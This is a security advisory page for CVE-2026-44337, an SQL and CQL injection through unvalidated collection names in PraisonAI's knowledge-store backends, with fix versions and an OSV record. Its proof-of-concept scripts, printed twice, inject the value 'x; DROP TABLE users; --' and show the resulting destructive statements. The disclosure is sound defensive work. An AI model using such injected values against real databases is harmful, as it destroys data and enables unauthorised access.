CVE-2026-44337: PraisonAI PraisonAI Knowledge-store Backends Interpolate Unvalidated Vulnerability

MODERATE
Advisory Identifier: GHSA-3643-7v76-5cj2
CVSS 6.3
CWE-89 CWE-20
Published
Advisory Summary

CVE-2026-44337 is a MODERATE (CVSS 6.3) praisonai knowledge-store backends interpolate unvalidated vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves praisonai knowledge-store backends interpolate unvalidated collection names into sql and cql queries. Remediation is available by upgrading affected packages to version 4.6.34.

CVE-2026-44337 at a Glance

CVE Identifier CVE-2026-44337
GHSA Identifier GHSA-3643-7v76-5cj2
Severity MODERATE
CVSS v3.1 Base Score 6.3
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2026-44337

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

PraisonAI fixed: 4.6.34
pip install PraisonAI>=4.6.34
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show PraisonAI

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-44337, inspect your installed packages using pip:

pip show PraisonAI

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.34), your application is affected.

Note: The pip show PraisonAI command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary PraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated `name` and `collection` arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection. ### Details This issue affects the public persistence layer exported by [persistence/__init__.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/__init__.py:1), which exposes `KnowledgeStore` and `create_knowledge_store()`. The factory wires the affected backends as supported knowledge-store providers in [[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:162):112): - `pgvector` at [[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:170)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:186):162) - `cassandra` at [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:170) - `singlestore_vector` at [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:186) The common root cause is that the `KnowledgeStore` interface accepts free-form collection names in `create_collection()`, `delete_collection()`, `insert()`, `upsert()`, `search()`, `get()`, `delete()`, and `count()` at [[persistence/knowledge/base.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them. Representative sinks: - `SingleStoreVectorKnowledgeStore` builds `table_name = f"{self.table_prefix}{name}"` and executes raw DDL in [[persistence/knowledge/singlestore_vector.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92). The same pattern is reused for `delete_collection`, `insert`, `upsert`, `search`, `get`, `delete`, and `count`. - `PGVectorKnowledgeStore` builds `public.praison_vec_{collection}` and `idx_{name}_embedding` directly into SQL in [[persistence/knowledge/pgvector.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82). - `CassandraKnowledgeStore` interpolates `name` and `collection` directly into `CREATE TABLE`, `DROP TABLE`, `INSERT`, `SELECT`, `DELETE`, and `COUNT` statements in [[persistence/knowledge/cassandra.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73). There is already an internal identifier validator in the conversation persistence layer: - `validate_identifier()` only allows alphanumeric characters and underscores in [[persistence/conversation/base.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18) That validator is used for SQL identifiers such as `table_prefix` and `schema` in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends. Version scope: - `pgvector.py` and `cassandra.py` were already present by `v2.4.1` - `singlestore_vector.py` was present by `v2.4.3` - the current PyPI release on May 1, 2026 is `4.6.33`, and the same interpolation patterns are still present Scope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package's public persistence APIs and affects applications that pass untrusted collection names to the affected backends. ### PoC The following local reproductions show that attacker-controlled collection names become part of the executed SQL text. 1. Reproduce the `SingleStoreVectorKnowledgeStore.delete_collection()` query construction: ```bash python3 - <<'PY' import importlib.util import pathlib import sys import types base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence") mods = { "praisonai": types.ModuleType("praisonai"), "praisonai.persistence": types.ModuleType("praisonai.persistence"), "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"), } for k, v in mods.items(): v.__path__ = [] sys.modules[k] = v def load(name, path): spec = importlib.util.spec_from_file_location(name, path) mod = importlib.util.module_from_spec(spec) sys.modules[name] = mod spec.loader.exec_module(mod) return mod load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py") ss = load("praisonai.persistence.knowledge.singlestore_vector", base / "knowledge" / "singlestore_vector.py") class FakeCursor: def __init__(self, parent): self.parent = parent def execute(self, query, params=None): self.parent.calls.append((query, params)) def __enter__(self): return self def __exit__(self, *args): return False class FakeConn: def __init__(self): self.calls = [] def cursor(self): return FakeCursor(self) store = ss.SingleStoreVectorKnowledgeStore() store._initialized = True store._conn = FakeConn() store.delete_collection("x; DROP TABLE users; --") print(store._conn.calls[-1][0].strip()) PY ``` Observed result: ```text DROP TABLE IF EXISTS praisonai_x; DROP TABLE users; -- ``` 2. Reproduce the `PGVectorKnowledgeStore.create_collection()` query construction: ```bash python3 - <<'PY' import importlib.util import pathlib import sys import types base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence") mods = { "praisonai": types.ModuleType("praisonai"), "praisonai.persistence": types.ModuleType("praisonai.persistence"), "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"), } for k, v in mods.items(): v.__path__ = [] sys.modules[k] = v def load(name, path): spec = importlib.util.spec_from_file_location(name, path) mod = importlib.util.module_from_spec(spec) sys.modules[name] = mod spec.loader.exec_module(mod) return mod load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py") psycopg2 = types.ModuleType("psycopg2") extras = types.ModuleType("psycopg2.extras") pool = types.ModuleType("psycopg2.pool") class DummyPool: def __init__(self, *a, **k): pass def getconn(self): return None def putconn(self, c): pass pool.ThreadedConnectionPool = DummyPool extras.RealDictCursor = object psycopg2.pool = pool sys.modules["psycopg2"] = psycopg2 sys.modules["psycopg2.pool"] = pool sys.modules["psycopg2.extras"] = extras pg = load("praisonai.persistence.knowledge.pgvector", base / "knowledge" / "pgvector.py") class FakeCursor: def __init__(self, parent): self.parent = parent def execute(self, query, params=None): self.parent.calls.append((query, params)) def __enter__(self): return self def __exit__(self, *args): return False class FakeConn: def __init__(self): self.calls = [] def cursor(self): return FakeCursor(self) def commit(self): pass store = pg.PGVectorKnowledgeStore(auto_create_extension=False) conn = FakeConn() store._get_conn = lambda: conn store._put_conn = lambda c: None store.create_collection("x; DROP TABLE users; --", 3) for query, _ in conn.calls: print(query.strip()) PY ``` Observed result includes: ```text CREATE TABLE IF NOT EXISTS public.praison_vec_x; DROP TABLE users; -- ( CREATE INDEX IF NOT EXISTS idx_x; DROP TABLE users; --_embedding ``` The Cassandra backend follows the same pattern in its `CREATE TABLE`, `DROP TABLE`, `INSERT`, `SELECT`, and `DELETE` statements. ### Impact This issue affects applications that use PraisonAI's optional SQL/CQL knowledge-store backends and pass untrusted collection names into them. Potential impact depends on backend and driver behavior, but includes: - malformed queries and backend errors - access to unintended tables or indexes - execution of attacker-influenced SQL or CQL text where the backend/driver accepts the resulting statement shape I did not confirm direct exposure through PraisonAI's built-in HTTP server surfaces, so this is best understood as a vulnerability in the package's public persistence APIs rather than a turnkey remote exploit in the default application server.

CVE-2026-44337 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.6.34
Product / Package Ecosystem Affected Versions Fixed Version
PraisonAI
PyPI
≥ 2.4.1
< 4.6.34
4.6.34

References

Frequently Asked Questions

What is CVE-2026-44337?
CVE-2026-44337 is a security vulnerability in PraisonAI involving PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.6.34 across affected packages: PraisonAI.
What version fixes CVE-2026-44337?
Upgrading to 4.6.34 (or the latest patched release for your respective branch) resolves the vulnerability.
Is PraisonAI affected?
Yes, PraisonAI is affected in releases prior to 4.6.34. Upgrade your dependency to 4.6.34 or later.
What is the CVSS score of CVE-2026-44337?
CVE-2026-44337 has a CVSS v3.1 base score of 6.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L.
What CWE is associated with CVE-2026-44337?
CVE-2026-44337 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check PyPI dependencies for CVE-2026-44337?
Run the dependency tree command: 'pip show PraisonAI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3643-7v76-5cj2",
  "modified" : "2026-05-11T13:57:18Z",
  "published" : "2026-05-11T13:57:18Z",
  "aliases" : [ "CVE-2026-44337" ],
  "summary" : "PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries",
  "details" : "### Summary\nPraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated `name` and `collection` arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection.\n\n### Details\nThis issue affects the public persistence layer exported by [persistence/__init__.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/__init__.py:1), which exposes `KnowledgeStore` and `create_knowledge_store()`. The factory wires the affected backends as supported knowledge-store providers in [[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:162):112):\n\n- `pgvector` at [[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:170)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:186):162)\n- `cassandra` at [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:170)\n- `singlestore_vector` at [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:186)\n\nThe common root cause is that the `KnowledgeStore` interface accepts free-form collection names in `create_collection()`, `delete_collection()`, `insert()`, `upsert()`, `search()`, `get()`, `delete()`, and `count()` at [[persistence/knowledge/base.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them.\n\nRepresentative sinks:\n\n- `SingleStoreVectorKnowledgeStore` builds `table_name = f\"{self.table_prefix}{name}\"` and executes raw DDL in [[persistence/knowledge/singlestore_vector.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92). The same pattern is reused for `delete_collection`, `insert`, `upsert`, `search`, `get`, `delete`, and `count`.\n- `PGVectorKnowledgeStore` builds `public.praison_vec_{collection}` and `idx_{name}_embedding` directly into SQL in [[persistence/knowledge/pgvector.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82).\n- `CassandraKnowledgeStore` interpolates `name` and `collection` directly into `CREATE TABLE`, `DROP TABLE`, `INSERT`, `SELECT`, `DELETE`, and `COUNT` statements in [[persistence/knowledge/cassandra.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73).\n\nThere is already an internal identifier validator in the conversation persistence layer:\n\n- `validate_identifier()` only allows alphanumeric characters and underscores in [[persistence/conversation/base.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)\n\nThat validator is used for SQL identifiers such as `table_prefix` and `schema` in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends.\n\nVersion scope:\n\n- `pgvector.py` and `cassandra.py` were already present by `v2.4.1`\n- `singlestore_vector.py` was present by `v2.4.3`\n- the current PyPI release on May 1, 2026 is `4.6.33`, and the same interpolation patterns are still present\n\nScope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package's public persistence APIs and affects applications that pass untrusted collection names to the affected backends.\n\n### PoC\nThe following local reproductions show that attacker-controlled collection names become part of the executed SQL text.\n\n1. Reproduce the `SingleStoreVectorKnowledgeStore.delete_collection()` query construction:\n\n```bash\npython3 - <<'PY'\nimport importlib.util\nimport pathlib\nimport sys\nimport types\n\nbase = pathlib.Path(\"scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence\")\n\nmods = {\n    \"praisonai\": types.ModuleType(\"praisonai\"),\n    \"praisonai.persistence\": types.ModuleType(\"praisonai.persistence\"),\n    \"praisonai.persistence.knowledge\": types.ModuleType(\"praisonai.persistence.knowledge\"),\n}\nfor k, v in mods.items():\n    v.__path__ = []\n    sys.modules[k] = v\n\ndef load(name, path):\n    spec = importlib.util.spec_from_file_location(name, path)\n    mod = importlib.util.module_from_spec(spec)\n    sys.modules[name] = mod\n    spec.loader.exec_module(mod)\n    return mod\n\nload(\"praisonai.persistence.knowledge.base\", base / \"knowledge\" / \"base.py\")\nss = load(\"praisonai.persistence.knowledge.singlestore_vector\", base / \"knowledge\" / \"singlestore_vector.py\")\n\nclass FakeCursor:\n    def __init__(self, parent): self.parent = parent\n    def execute(self, query, params=None): self.parent.calls.append((query, params))\n    def __enter__(self): return self\n    def __exit__(self, *args): return False\n\nclass FakeConn:\n    def __init__(self): self.calls = []\n    def cursor(self): return FakeCursor(self)\n\nstore = ss.SingleStoreVectorKnowledgeStore()\nstore._initialized = True\nstore._conn = FakeConn()\nstore.delete_collection(\"x; DROP TABLE users; --\")\nprint(store._conn.calls[-1][0].strip())\nPY\n```\n\nObserved result:\n\n```text\nDROP TABLE IF EXISTS praisonai_x; DROP TABLE users; --\n```\n\n2. Reproduce the `PGVectorKnowledgeStore.create_collection()` query construction:\n\n```bash\npython3 - <<'PY'\nimport importlib.util\nimport pathlib\nimport sys\nimport types\n\nbase = pathlib.Path(\"scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence\")\n\nmods = {\n    \"praisonai\": types.ModuleType(\"praisonai\"),\n    \"praisonai.persistence\": types.ModuleType(\"praisonai.persistence\"),\n    \"praisonai.persistence.knowledge\": types.ModuleType(\"praisonai.persistence.knowledge\"),\n}\nfor k, v in mods.items():\n    v.__path__ = []\n    sys.modules[k] = v\n\ndef load(name, path):\n    spec = importlib.util.spec_from_file_location(name, path)\n    mod = importlib.util.module_from_spec(spec)\n    sys.modules[name] = mod\n    spec.loader.exec_module(mod)\n    return mod\n\nload(\"praisonai.persistence.knowledge.base\", base / \"knowledge\" / \"base.py\")\n\npsycopg2 = types.ModuleType(\"psycopg2\")\nextras = types.ModuleType(\"psycopg2.extras\")\npool = types.ModuleType(\"psycopg2.pool\")\nclass DummyPool:\n    def __init__(self, *a, **k): pass\n    def getconn(self): return None\n    def putconn(self, c): pass\npool.ThreadedConnectionPool = DummyPool\nextras.RealDictCursor = object\npsycopg2.pool = pool\nsys.modules[\"psycopg2\"] = psycopg2\nsys.modules[\"psycopg2.pool\"] = pool\nsys.modules[\"psycopg2.extras\"] = extras\n\npg = load(\"praisonai.persistence.knowledge.pgvector\", base / \"knowledge\" / \"pgvector.py\")\n\nclass FakeCursor:\n    def __init__(self, parent): self.parent = parent\n    def execute(self, query, params=None): self.parent.calls.append((query, params))\n    def __enter__(self): return self\n    def __exit__(self, *args): return False\n\nclass FakeConn:\n    def __init__(self): self.calls = []\n    def cursor(self): return FakeCursor(self)\n    def commit(self): pass\n\nstore = pg.PGVectorKnowledgeStore(auto_create_extension=False)\nconn = FakeConn()\nstore._get_conn = lambda: conn\nstore._put_conn = lambda c: None\nstore.create_collection(\"x; DROP TABLE users; --\", 3)\nfor query, _ in conn.calls:\n    print(query.strip())\nPY\n```\n\nObserved result includes:\n\n```text\nCREATE TABLE IF NOT EXISTS public.praison_vec_x; DROP TABLE users; -- (\nCREATE INDEX IF NOT EXISTS idx_x; DROP TABLE users; --_embedding\n```\n\nThe Cassandra backend follows the same pattern in its `CREATE TABLE`, `DROP TABLE`, `INSERT`, `SELECT`, and `DELETE` statements.\n\n### Impact\nThis issue affects applications that use PraisonAI's optional SQL/CQL knowledge-store backends and pass untrusted collection names into them.\n\nPotential impact depends on backend and driver behavior, but includes:\n\n- malformed queries and backend errors\n- access to unintended tables or indexes\n- execution of attacker-influenced SQL or CQL text where the backend/driver accepts the resulting statement shape\n\nI did not confirm direct exposure through PraisonAI's built-in HTTP server surfaces, so this is best understood as a vulnerability in the package's public persistence APIs rather than a turnkey remote exploit in the default application server.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PraisonAI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.4.1"
      }, {
        "fixed" : "4.6.34"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.33"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44337"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-89" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-11T13:57:18Z",
    "nvd_published_at" : "2026-05-08T14:16:46Z"
  }
}